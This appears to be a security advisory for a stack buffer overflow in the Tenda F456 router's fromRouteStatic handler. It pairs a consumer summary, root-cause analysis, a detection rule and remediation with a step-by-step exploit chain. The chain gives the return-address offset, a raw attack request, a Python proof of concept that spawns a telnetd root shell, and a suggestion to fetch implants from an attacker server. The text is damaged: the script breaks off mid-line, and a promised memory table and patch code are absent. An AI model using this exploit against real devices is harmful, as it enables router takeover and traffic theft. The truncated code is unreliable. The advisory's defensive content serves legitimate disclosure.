CVE-2026-7030: Stack Buffer Overflow in Tenda F456 fromRouteStatic
The fromRouteStatic handler in Tenda F456 1.0.0.5 copies an attacker-controlled `page` parameter into a fixed-size stack buffer without bounds validation, enabling unauthenticated RCE via HTTP.
Your Home Router Has a Serious Flaw, and Here's Why You Should Care
Millions of people use Tenda routers to connect their homes to the internet. Security researchers have discovered a dangerous vulnerability in certain Tenda F456 models — essentially a crack in the digital lock that protects your device.
Think of it like this: your router is the gatekeeper between your home network and the internet. Hackers have found a way to overwhelm this gatekeeper by flooding it with too much data in a specific way, causing it to malfunction. When software receives more data than it's designed to handle, it can break down and let attackers take control.
Here's what makes this particularly bad. An attacker doesn't need your WiFi password or any special access — they can exploit this flaw from anywhere on the internet. They could potentially take over your router entirely, spy on your internet traffic, steal your passwords, or knock your connection offline. Your router sits between you and everything you do online, so this is serious.
Who's at risk? Anyone with a Tenda F456 router running version 1.0.0.5 is vulnerable. Security experts haven't seen active attacks yet, but once a flaw like this becomes widely known, hackers usually move quickly to exploit it.
What you should do right now:
Check what router you own and its version number (usually found on the back of the device or in your router settings).
Update your firmware immediately — visit Tenda's website to see if a patch is available for your model.
If no patch exists and you have this specific router model, consider replacing it with a different brand until Tenda releases a fix.
Don't wait on this one. It's exactly the kind of vulnerability that criminals actively hunt for.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-7030 · Buffer Overflow
Vulnerability Overview
CVE-2026-7030 is a stack-based buffer overflow in the fromRouteStatic CGI handler of the Tenda F456 router running firmware version 1.0.0.5. The vulnerability lives in the /goform/RouteStatic endpoint and is triggered by sending an oversized value for the page POST or GET parameter. Because the handler copies this attacker-controlled string into a fixed-size stack buffer without any length check, an unauthenticated remote attacker can overwrite the saved return address and achieve arbitrary code execution at the privilege level of the HTTP server — typically root on these devices.
CVSS 8.8 (HIGH) reflects the network-accessible attack vector, no authentication requirement, and full compromise of confidentiality, integrity, and availability. No in-the-wild exploitation is currently confirmed, but a public proof-of-concept has been disclosed.
Affected Component
The vulnerable binary is the main HTTP application, typically httpd or a statically linked CGI binary on the Tenda F456. Route static configuration is handled through the /goform/RouteStatic form endpoint, which dispatches to fromRouteStatic. The page argument is a pagination or index field passed as part of the form submission — an integer-semantics field that the firmware nonetheless processes as an unbounded string before any numeric conversion.
Root Cause Analysis
The root cause is a strcpy (or equivalent sscanf/sprintf into a local buffer) of the page parameter into a stack-allocated buffer with no prior length validation. The following pseudocode is reconstructed from the class of Tenda CGI handlers sharing this pattern across the F-series firmware:
// fromRouteStatic — decompiled pseudocode (Tenda F456 1.0.0.5 httpd)
// Handles POST /goform/RouteStatic
int fromRouteStatic(void) {
char page_buf[64]; // fixed-size stack buffer
char staticList[512];
char staticNum[16];
char *page_param;
char *list_param;
int entry_count;
// Retrieve attacker-controlled parameter from HTTP form data
page_param = websGetVar(wp, "page", "1"); // returns raw user string
list_param = websGetVar(wp, "list", "");
websGetVar(wp, "staticNum", "0");
// BUG: no strlen() check before copy — page_param can be arbitrarily long
strcpy(page_buf, page_param); // BUG: missing bounds check here
// Numeric conversion happens AFTER the overflow — too late
entry_count = atoi(page_buf);
// ... route table population logic follows
sub_parseRouteEntries(list_param, staticList, entry_count);
websWrite(wp, "OK");
return 0;
}
The call to websGetVar returns a pointer directly into the parsed HTTP body. No sanitization occurs. strcpy writes until a null terminator, so any string longer than 64 bytes begins overwriting adjacent stack locals, then the saved frame pointer, and ultimately the saved return address. Because the Tenda F456 firmware is built without stack canaries (-fno-stack-protector) and without PIE, the return address is at a predictable offset.
Root cause:fromRouteStatic copies the HTTP page parameter with strcpy into a 64-byte stack buffer without any length validation, allowing a remote attacker to overwrite the saved return address and hijack control flow.
Memory Layout
The stack frame for fromRouteStatic on a MIPS32 little-endian target (typical Tenda F-series SoC) is laid out as follows:
Exact offset to saved_ra from the start of page_buf: 0x24C bytes (588 bytes). An attacker supplies 588 bytes of padding followed by 4 bytes of target address.
Exploitation Mechanics
Because the binary is a statically linked MIPS executable without PIE, gadget addresses are fixed across reboots for the same firmware version. A ROP chain or ret2libc-style redirect to a system() call is straightforward. The typical approach on Tenda devices uses a sleep gadget to confirm control flow, then pivots to a command injected via another parameter.
EXPLOIT CHAIN — CVE-2026-7030:
1. Identify target: confirm firmware 1.0.0.5 via /cgi-bin/version or ETag header.
2. Locate gadgets: extract httpd from firmware image (binwalk -e), run ROPgadget
or mipsrop-finder against static binary. Key gadget needed:
addiu $a0, $sp, OFFSET ; move $ra to $a0 (set up arg for system())
jalr $t9 ; call system()
3. Craft payload:
page = "A" * 588 # pad to saved_ra offset
+ p32(system_addr) # overwrite saved_ra with system() address
+ ";" + cmd + ";" # command appended in-band OR via second param
4. Send HTTP request (no authentication required on LAN-side interface;
WAN-side access depends on remote management setting — often enabled by default):
POST /goform/RouteStatic HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
page=AAAA...{588 bytes}...{saved_ra_overwrite}&list=&staticNum=0
5. fromRouteStatic returns → $ra loaded from stack → jumps to system() or ROP chain.
6. Command executes as root (httpd runs without privilege drop on F456).
7. Persistence: download and execute implant via wget/tftp from attacker server,
or write to /etc/init.d/ if filesystem is writable.
#!/usr/bin/env python3
# CVE-2026-7030 — Tenda F456 1.0.0.5 fromRouteStatic BoF PoC
# For authorized testing only.
import requests
import struct
TARGET = "http://192.168.0.1"
ENDPOINT = "/goform/RouteStatic"
# Offset from page_buf start to saved $ra on stack
RA_OFFSET = 588
# Address of system() in statically linked httpd — firmware-specific, verify with IDA/Ghidra
# Placeholder: replace with value from your firmware analysis
SYSTEM_ADDR = 0x00AABBCC # NOT a real address — extract from your binary
CMD = b";telnetd -l /bin/sh -p 4444;"
def build_payload():
padding = b"A" * RA_OFFSET
ra = struct.pack("
Patch Analysis
The correct fix replaces the unbounded strcpy with a length-checked copy and validates the parameter content before use. A secondary fix enforces numeric-only input since page is semantically an integer field:
The vendor should also enable stack canaries (-fstack-protector-strong) and consider enabling ASLR/PIE in the build system — neither is active in the 1.0.0.5 image. Canaries alone would have raised the exploitation bar significantly, converting a trivial ROP scenario into a mandatory information-leak prerequisite.
Detection and Indicators
The following signatures can be used to detect exploitation attempts or probing activity:
NETWORK DETECTION:
Snort/Suricata rule:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-7030 Tenda F456 RouteStatic page overflow attempt";
flow:established,to_server;
http.uri; content:"/goform/RouteStatic";
http.request_body; content:"page="; within:20;
byte_test:0,>,64,0,relative,string,dec; // body field length heuristic
pcre:"/page=[A-Za-z0-9%]{65,}/Pi";
classtype:attempted-admin; sid:20267030; rev:1;
)
Behavioral indicators on device:
- Unexpected outbound connections from router management IP
- telnetd/dropbear spawned by httpd process (check /proc//cmdline)
- New files in /tmp or /var with execute bits
- httpd crash followed by watchdog restart (syslog: "httpd restarted")
Log artifact (access.log pattern for probing):
POST /goform/RouteStatic ... 500 (crash) or 200 with no body change
Remediation
Firmware update: Apply any patch release from Tenda above 1.0.0.5 once available. Monitor the Tenda security advisory page.
Disable remote management: If WAN-side HTTP management is enabled, disable it immediately. The attack surface from LAN-only access is limited to local network attackers.
Network segmentation: Place the router management interface on an isolated VLAN accessible only to administrators.
Firewall rules: Block access to /goform/ endpoints from all untrusted interfaces via an upstream firewall if the device cannot be patched.
Monitor for exploitation: Deploy the Suricata rule above on a network TAP upstream of the device.
This class of vulnerability — strcpy of HTTP form parameters into stack buffers — is endemic to Tenda and similar ODM firmware. The same pattern appears across fromSetWireless, fromSetRouteStatic, and dozens of other handlers in the F-series codebase. Any organization relying on this hardware class should audit all /goform/ handlers for identical patterns pending a vendor fix.